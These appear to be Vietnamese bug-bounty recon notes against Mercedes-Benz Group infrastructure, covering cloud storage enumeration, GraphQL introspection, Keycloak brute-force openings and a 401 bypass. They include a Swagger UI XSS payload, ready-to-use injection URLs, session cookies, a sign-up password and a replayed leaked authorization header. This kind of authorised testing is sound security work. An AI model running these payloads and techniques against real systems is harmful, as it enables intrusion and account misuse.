Info

Org name: Mercedes-Benz Group AG

Azure tenant ID: 9652d7c2-1ccf-4940-8151-4a92bd474ed0

ASN: AS31399 - Source: https://viz.greynoise.io/query/metadata.organization:%22Mercedes-Benz%20Group%20AG%22

Endpoints

Summary

Một ứng dụng xây dựng bằng Streamlit ở đường dẫn app/avatar_app.py.

Login bằng websocket với message có định dạng serialized của protobuf. Tuy nhiên, lúc nào server cũng trả về lỗi “UserNotFoundExceptiongAn error occurred (UserNotFoundException) when calling the InitiateAuth operation: User does not exist”.

Ngoài ra, không tồn tại CVE nào cho phiên bản v1.33.0: “No unauthenticated vulnerabilities affect Streamlit v1.33.0. The path traversal in static file sharing (CVE-2024-42474) requires low privileges (PR:L), indicating some authentication or access control, not fully unauthenticated access.”

curl "https://dstsstorageacctsea001.blob.core.windows.net/sts-prod?restype=container&comp=list" -i
HTTP/1.1 404 The specified resource does not exist.
Content-Length: 223
Content-Type: application/xml
Server: Blob Service Version 1.0 Microsoft-HTTPAPI/2.0
x-ms-request-id: 6b75e45f-301e-001a-0f49-6db0dc000000
Access-Control-Expose-Headers: x-ms-request-id,Server,Content-Length,Date,Transfer-Encoding
Access-Control-Allow-Origin: *
Date: Sun, 14 Dec 2025 22:29:50 GMT
 
<?xml version="1.0" encoding="utf-8"?><Error><Code>ResourceNotFound</Code><Message>The specified resource does not exist.
RequestId:6b75e45f-301e-001a-0f49-6db0dc000000
Time:2025-12-14T22:29:50.7883347Z</Message></Error>

Dorking

Findings

Gitlab Instance with Introspection Enabled

Lấy GraphQL schema:

POST /api/graphql HTTP/1.1
Host: git.mbos.cloud
Content-Type: application/json
Cookie: glbsticky=1764521384.8.4312.90672|155a34ed77d2269bfc4c9d6f5ac87e98; _gitlab_session=d02e0da16eb2d2ca3e73000b112678fa
X-Csrf-Token: z3tifY2lNat-0GKrTjZcxldsLthuvwXWETogVTFVjwH5rjGlAbkPKroSbuUaDZIcf4tCM5ZX92DYIE3KsoVoKg
 
{"operationName":"IntrospectionQuery","variables":{},"query":"query IntrospectionQuery {\n  __schema {\n    queryType { name kind }\n    mutationType { name kind }\n    subscriptionType { name kind }\n    types { ...FullType }\n    directives {\n      name description locations\n      args(includeDeprecated: true) { ...InputValue }\n    }\n  }\n}\nfragment FullType on __Type {\n  kind name description\n  fields(includeDeprecated: true) {\n    name description args(includeDeprecated: true) { ...InputValue }\n    type { ...TypeRef } isDeprecated deprecationReason\n  }\n  inputFields(includeDeprecated: true) { ...InputValue }\n  interfaces { ...TypeRef }\n  enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason }\n  possibleTypes { ...TypeRef }\n}\nfragment InputValue on __InputValue {\n  name description type { ...TypeRef } defaultValue isDeprecated deprecationReason\n}\nfragment TypeRef on __Type {\n  kind name ofType {\n    kind name ofType {\n      kind name ofType {\n        kind name ofType {\n          kind name ofType {\n            kind name ofType {\n              kind name ofType {\n                kind name ofType {\n                  kind name\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}"}

Convert schema sang SDL sử dụng GitHub - CDThomas/graphql-json-to-sdl: A command line utility for converting a JSON GraphQL schema to GraphQL SDL:

graphql-json-to-sdl graphql.schema.json schema.graphql

Visualize bằng GitHub - benweint/gquil: A CLI for inspecting and visualizing GraphQL schemas

gquil viz schema.graphql | dot -Tpdf >schema.pdf

Warning

Do schema lớn nên việc visualize có thể không cần thiết vì output khó xem.

Fail

Thực thi tất cả các queries thì không thấy có sensitive data trả về.

Có thể tạo tài khoản bằng request sau nhưng lại bị redirected về trang SSO của MB:

POST /users HTTP/1.1
Host: git.mbos.cloud
Content-Type: application/x-www-form-urlencoded
Cookie: _gitlab_session=d02e0da16eb2d2ca3e73000b112678fa; glbsticky=1764522686.806.4299.939566|155a34ed77d2269bfc4c9d6f5ac87e98; preferred_language=en
 
authenticity_token=ETqYY9KkbgFV4s_oBdw3BUwZkw5MRXiOM33IMxYJAmwn78u7XrhUgJEgw6ZR5_nfZP7_5bStijj6Z6WsldnlRw&new_user%5Bfirst_name%5D=Quan&new_user%5Blast_name%5D=Le&new_user%5Busername%5D=insomnia1102&new_user%5Bemail%5D=marucube35%40gmail.com&new_user%5Bpassword%5D=qs3Bnn4xEDNONs

Detect version: GitHub - l4rm4nd/GitLab-Enumerator: Python 3 script to fingerprint GitLab CE/EE instances

Subdomain Takeovers via Azure Traffic Manager

Tìm thấy một vài domains có DNS status là NXDOMAIN thông qua bbot. Một trong số đó là:

 dig scmd-nonprod.query.api.am.mic.trafficmanager.net
 
; <<>> DiG 9.10.6 <<>> scmd-nonprod.query.api.am.mic.trafficmanager.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 33375
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
 
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;scmd-nonprod.query.api.am.mic.trafficmanager.net. IN A
 
;; AUTHORITY SECTION:
trafficmanager.net.     30      IN      SOA     tm1.dns-tm.com. hostmaster.trafficmanager.net. 2003080800 900 300 2419200 30
 
;; Query time: 155 msec
;; SERVER: 192.168.0.1#53(192.168.0.1)
;; WHEN: Mon Dec 01 20:03:22 +07 2025
;; MSG SIZE  rcvd: 138

Tham khảo: https://hackerone.com/reports/388622Subdomain Takeover: Starbucks points to Azure để khai thác.

Fail

Tuy nhiên, không thể khai thác do ta không thể tạo các CNAME record chẳng hạn như alt-dev.azure.mercedes-benz.com.mic.trafficmanager.net thông qua Azure Portal (chức năng Traffic Manager Profile). Chúng ta chỉ có thể tạo <label>.trafficmanager.net với label không được chứa dấu chấm.

Giải thích: https://chatgpt.com/share/692d6184-339c-8012-8586-135b988d8c5c

Ngoài subdomain *.trafficmanager.net của Azure Traffic Manager thì còn có một số subdomains khác chẳng hạn như *.elb.amazonaws.com (ELB của Amazon), *.edgekey-staging.net (Akamai) nhưng các subdomains này đều không thể dùng để khai thác subdomain takeover được.

Bypass 401/403

Sử dụng methods khác GET (thậm chí không cần là HTTP methods):

 curl -i https://odft.query.api.dvb.corpinter.net.cn
HTTP/1.1 401 Unauthorized
Content-Length: 0
Date: Mon, 01 Dec 2025 13:29:07 GMT
Server: Kestrel
Request-Context: appId=cid-v1:6b999e39-5850-497c-9450-197419d8342a
 
 curl -i https://odft.query.api.dvb.corpinter.net.cn -X GRAB | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  9  146k    9 13910    0     0  23612      0  0:00:06 --:--:--  0:00:06 23576HTTP/1.1 200 OK
Content-Length: 149794
Content-Type: text/html
Date: Mon, 01 Dec 2025 13:29:27 GMT
Server: Kestrel
Request-Context: appId=cid-v1:6b999e39-5850-497c-9450-197419d8342a
 
<!DOCTYPE html>
<html>
<head>
 20  146k   20 30294    0     0  41607      0  0:00:03 --:--:--  0:00:03 41555
curl: (23) Failure writing output to destination, passed 4096 returned 0

Response trả về chỉ cho biết Azure Functions đang hoạt động bình thường chứ không có gì sensitive.

Storage Buckets

Brute force các bucket names (của AWS) hoặc các account names (của Azure) sử dụng cloud_enum:

python cloud_enum.py -k mbos -t 20
Protected S3 Bucket: http://mbos.s3.amazonaws.com/
Protected S3 Bucket: http://mbos-media.s3.amazonaws.com/
Protected S3 Bucket: http://mbos-production.s3.amazonaws.com/
AWS App Found:: https://mbos.awsapps.com
...
[+] Checking for Azure File Accounts
[*] Brute-forcing a list of 2815 possible DNS names
  HTTP-OK Account: http://mbosstorage.file.core.windows.net/
  HTTPS-Only Account: http://amaprdmdcpstorage.file.core.windows.net/
  HTTPS-Only Account: http://ecenprweubmbccstorage.file.core.windows.net/
  HTTPS-Only Account: http://amanprmdcpstorage.file.core.windows.net/
  HTTPS-Only Account: http://eceprdweuambccstorage.file.core.windows.net/
...
[+] Checking for Azure Queue Accounts
[*] Brute-forcing a list of 2815 possible DNS names
  HTTP-OK Account: http://mbosstorage.queue.core.windows.net/
  HTTPS-Only Account: http://amaprdmdcpstorage.queue.core.windows.net/
  HTTPS-Only Account: http://ecenprweubmbccstorage.queue.core.windows.net/
  HTTPS-Only Account: http://amanprmdcpstorage.queue.core.windows.net/
  HTTPS-Only Account: http://eceprdweuambccstorage.queue.core.windows.net/
...
[+] Checking for Azure Table Accounts
[*] Brute-forcing a list of 2815 possible DNS names
  HTTPS-Only Account: http://amaprdmdcpstorage.table.core.windows.net/
  HTTPS-Only Account: http://ecenprweubmbccstorage.table.core.windows.net/
  HTTPS-Only Account: http://amanprmdcpstorage.table.core.windows.net/
  HTTPS-Only Account: http://eceprdweuambccstorage.table.core.windows.net/
...
[+] Checking for Azure Websites
[*] Brute-forcing a list of 9185 possible DNS names
  Registered Azure Website DNS Name: mbos-landing.azurewebsites.net
  Registered Azure Website DNS Name: mbos-prod.azurewebsites.net
  Registered Azure Website DNS Name: mbos-test.azurewebsites.net
...
[+] Checking for Azure Databases
[*] Brute-forcing a list of 9185 possible DNS names
  Registered Azure Database DNS Name: mbosdb.database.windows.net

Với -k là để specify keyword.

Liệu có thể dùng tool để detect top n các từ phổ biến trong các subdomains rồi dùng chúng làm keywords?

Ví dụ tìm top 10 các từ phổ biến nhất:

tr . '\n' < subdomains.txt | tr A-Z a-z | sort | uniq -c | sort -nr | head -10
2223187 net
1966691 corpinter
1675086 dvb
1511113 cn
1023400 benz
1020388 mercedes
870629 com
811846 mbos
653475 api
615426 query

Seealso

Azure Blob Storage và khái niệm account name: How to Detect and Compromise Azure Blobs and Storage Accounts

Mỗi Azure Storage Bucket sẽ bao gồm nhiều account names, mỗi account names sẽ có nhiều containers và mỗi container sẽ chứa nhiều file, hay còn gọi là blob.

Bbot tìm thấy 4 account names:

❯ cat bbot/fuzzy_jamie/azure_storages.json
{
  "name": "amaprdmdcpstorage",
  "url": "https://amaprdmdcpstorage.blob.core.windows.net/"
}
{
  "name": "ecenprweubmbccstorage",
  "url": "https://ecenprweubmbccstorage.blob.core.windows.net/"
}
{
  "name": "amanprmdcpstorage",
  "url": "https://amanprmdcpstorage.blob.core.windows.net/"
}
{
  "name": "eceprdweuambccstorage",
  "url": "https://eceprdweuambccstorage.blob.core.windows.net/"
}

Enumerate containers trong các account names sử dụng goblob cùng với contaner wordlist của nó:

goblob -accounts bbot/fuzzy_jamie/azure-storage-account-names.txt -containers ./goblob-folder-names.txt

Tương tự nhưng sử dụng ffuf:

cat bbot/fuzzy_jamie/azure_storages.json | jq -r '.url' | xargs -I{} ffuf -u '{}FUZZ?restype=container&comp=list' -w ./goblob-folder-names.txt -ac -mc 200,403

Nếu status code là 200 thì là public container còn 403 thì là private container.

Thử với container $log mặc định:

 cat bbot/fuzzy_jamie/azure_storages.json | jq -r '.url' | xargs -I{} curl '{}$log?restype=container&comp=list'
<?xml version="1.0" encoding="utf-8"?><Error><Code>OutOfRangeInput</Code><Message>One of the request inputs is out of range.
RequestId:61e5b09e-801e-0014-4fe8-628433000000
Time:2025-12-01T17:30:45.0309701Z</Message></Error><?xml version="1.0" encoding="utf-8"?><Error><Code>OutOfRangeInput</Code><Message>One of the request inputs is out of range.
RequestId:2724a036-a01e-0033-3ce8-62a876000000
Time:2025-12-01T17:30:45.9718767Z</Message></Error><?xml version="1.0" encoding="utf-8"?><Error><Code>OutOfRangeInput</Code><Message>One of the request inputs is out of range.
RequestId:81b3bdd1-801e-0065-49e8-6246ab000000
Time:2025-12-01T17:30:46.9938164Z</Message></Error><?xml version="1.0" encoding="utf-8"?><Error><Code>OutOfRangeInput</Code><Message>One of the request inputs is out of range.
RequestId:5738ef11-e01e-003c-4ce8-62f273000000
Time:2025-12-01T17:30:47.9267278Z</Message></Error>

Important

Tìm ra một S3 strorage: beta-program-public-assets.

Tuy nhiên, không có misconfig:

s3scanner -bucket beta-program-public-assets -enumerate
INFO exists    | beta-program-public-assets | us-east-2 | AuthUsers: [] | AllUsers: []

Swagger UI

Với URL: https://salt-dev.azure.mercedes-benz.com

  • Tìm thấy path /api là Swagger UI thông qua dir brute-force, path /api/swagger.json có chứa schema của Swagger.
  • Tìm thấy https://salt-dev.azure.mercedes-benz.com/api/swaggerui/swagger-ui-bundle.js.map thông qua file JS có trong page /api. Download source code và phân tích bằng GitHub Copilot thì thấy rằng nó có version 3.52.x. Version này có một số CVES.

Thử host malicious YAML config và trỏ configUrl tới file config: https://salt-dev.azure.mercedes-benz.com/api?configUrl=https://insomnia1102.online/s/malicious.yaml thì không thực hiện được XSS. Malicious YAML:

swagger: "2.0"
info:
  title: Exploit
  description: |
    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' onerror='alert(window.origin)'>">
paths:
  /accounts:
    get:
      responses:
        "200":
          description: No response

Bug

Vấn đề có thể nằm ở chỗ UI không load được URL https://salt-dev.azure.mercedes-benz.com/swaggerui/swagger-ui-standalone-preset.js (response trả về là HTML thay vì JS) nên toàn bộ UI bị hư.

Tồn tại một domain khác tương tự domain này là salt-prod.azure.mercedes-benz.com. Có thể những API tồn tại trên dev cũng tồn tại trên prod.

Tìm thấy thêm 2 Swagger UI:

Tip

Các payload tìm được trong quá trình test mà có thể sử dụng ngay:

  • HTML injection: ?config=https://gist.githubusercontent.com/zenelite123/af28f9b61759b800cb65f93ae7227fb5/raw/04003a9372ac6a5077ad76aa3d20f2e76635765b/test.json
  • XSS: ?configUrl=https://jumpy-floor.surge.sh/test.json?url=https://jumpy-floor.surge.sh/test.yaml.

Leaked JSON

Thử tái tạo request từ file JSON bị leaked mà có chứa Authorization header và gửi request thì nhận được response như sau:

curl --compressed -k -H "Accept: */*" -H "Accept-Encoding: gzip" -H "User-Agent: Mozilla/5.0 (compatible; MyClient/1.0)" -H "Authorization: dms bf4064ab-4358-449e-958b-2fa2ec910703:GTIXNWleK4ifOAJ9yFerMQX9Q4mEWqp48qWw5ClDrCg=:89F40C1EC483A7DD1FD41B5F8431CFC4:1706682411" -H "X-Sessionid: bf4064ab-4358-449e-958b-2fa2ec910703" -H "X-Forwarded-For: 46.108.162.163" -H "X-Request-Id: 0908d4252f9f6357af40d575fcf80069" "https://mfs-ece-npr.azure.mercedes-benz.com/mfssatellitetiles/resources/astc/11/531658/1?hugeneration=NTG7"
HTTP Error 400: {
  "type" : "/errors/session-invalid",
  "title" : "Session is invalid",
  "status" : 400,
  "detail" : "Session with ID bf4064ab-4358-449e-958b-2fa2ec910703 is not found",
  "instance" : "/context/v2/usages/current/context-items?key=infotainmentdevice-v1",
  "mitigation" : "Please ensure that you always validate the session before calling this API"
}

Request gửi đến https://mfs-ece-npr.azure.mercedes-benz.com sẽ có status code là 504. Các subpaths sau đó thì lại có status code là 404.

GraphQL Endpoint

Ở URL https://developer.mercedes-benz.com/content-api/graphql. Request ví dụ:

POST /content-api/graphql HTTP/2
Host: developer.mercedes-benz.com
Content-Length: 241
Content-Type: application/json
Origin: https://developer.mercedes-benz.com
Referer: https://developer.mercedes-benz.com/
Priority: u=1, i
 
{"operationName":"getAnnouncementBanner","variables":{"revisions":"DEFAULT","nodeType":["announcement_banner"],"status":["1"]},"extensions":{"persistedQuery":{"sha256Hash":"4531246c14d514305d4ad19bcbc38b0d3bfd43850d306e7f639f5c07d22a0268"}}}

Giá trị hash được tính trên body của GraphQL query, nếu server tìm thấy trong database hoặc cache có giá trị hash tương ứng thì sẽ thực thi operation. Đây được gọi là GraphQL Automatic Persisted Queries (APQ) protocol.

Cách hoạt động:

Important

Domain này out-of-scope.

Key Cloak

Tham khảo:

Detect được version 18.2.0 của Keycloak ở cả 2 domains là saml.mbos.cloudsaml-nonprod.mbos.cloud.

Có thể enumerate realms (là một tập các users, credentials, roles, groups), client IDs, scopes nhưng chỉ dừng lại ở đó. Tạo ra tool keycloaker để scan Keycloak instance.

Một số default client ID: Default Keycloak Realms, Accounts, and Clients :: Cray System Management (CSM)

Có thể brute-force do không có rate limit.

Workflows

Đối với Gospdier:

  1. Filter các path là .css, .svg, … Replace các placeholders trong các paths bằng một giá trị ngẫu nhiên nào đó.
  2. Truy cập vào main site để tận dụng jxscout và tạo domain trong SiteMap tree. Sau đó, thêm các paths vào Burp thông qua “Add to SiteMap+“.
  3. Chọn domain trong SiteMap và chạy GAP. So sánh với kết quả của GoSpider để tìm ra các paths mới và các params. Thêm các paths mới vào SiteMap nếu có. Sử dụng x8 cho tất cả các GET request với các params tìm được từ GAP.
  4. Chọn các path là các file JS trong Sitemap của Burp rồi chạy scan với JS Miner và Passive Scan (để tận dụng Semgrepper).
  5. Chọn một POST request và chạy HTTP Request Smuggler.
  6. Chọn toàn bộ Logger (in scope) và chạy Burpfisher.
  7. (Optional) Các paths còn lại, thực hiện Active Scan với built-in checks (có chọn lọc) kết hợp với custom BChecks và SScaner.
  8. Apply anomaly ranking vào SiteMap, rồi phân tích. Nếu gặp các response 404 đặc biệt thì dùng ffuf hoặc feroxbuster.
  9. Phân tích kết quả của jxscout.

Đối với Node.js application:

  • Chọn tất cả các request có body là JSON và sử dụng Server-Side Prototype Pollution Scanner.

Resources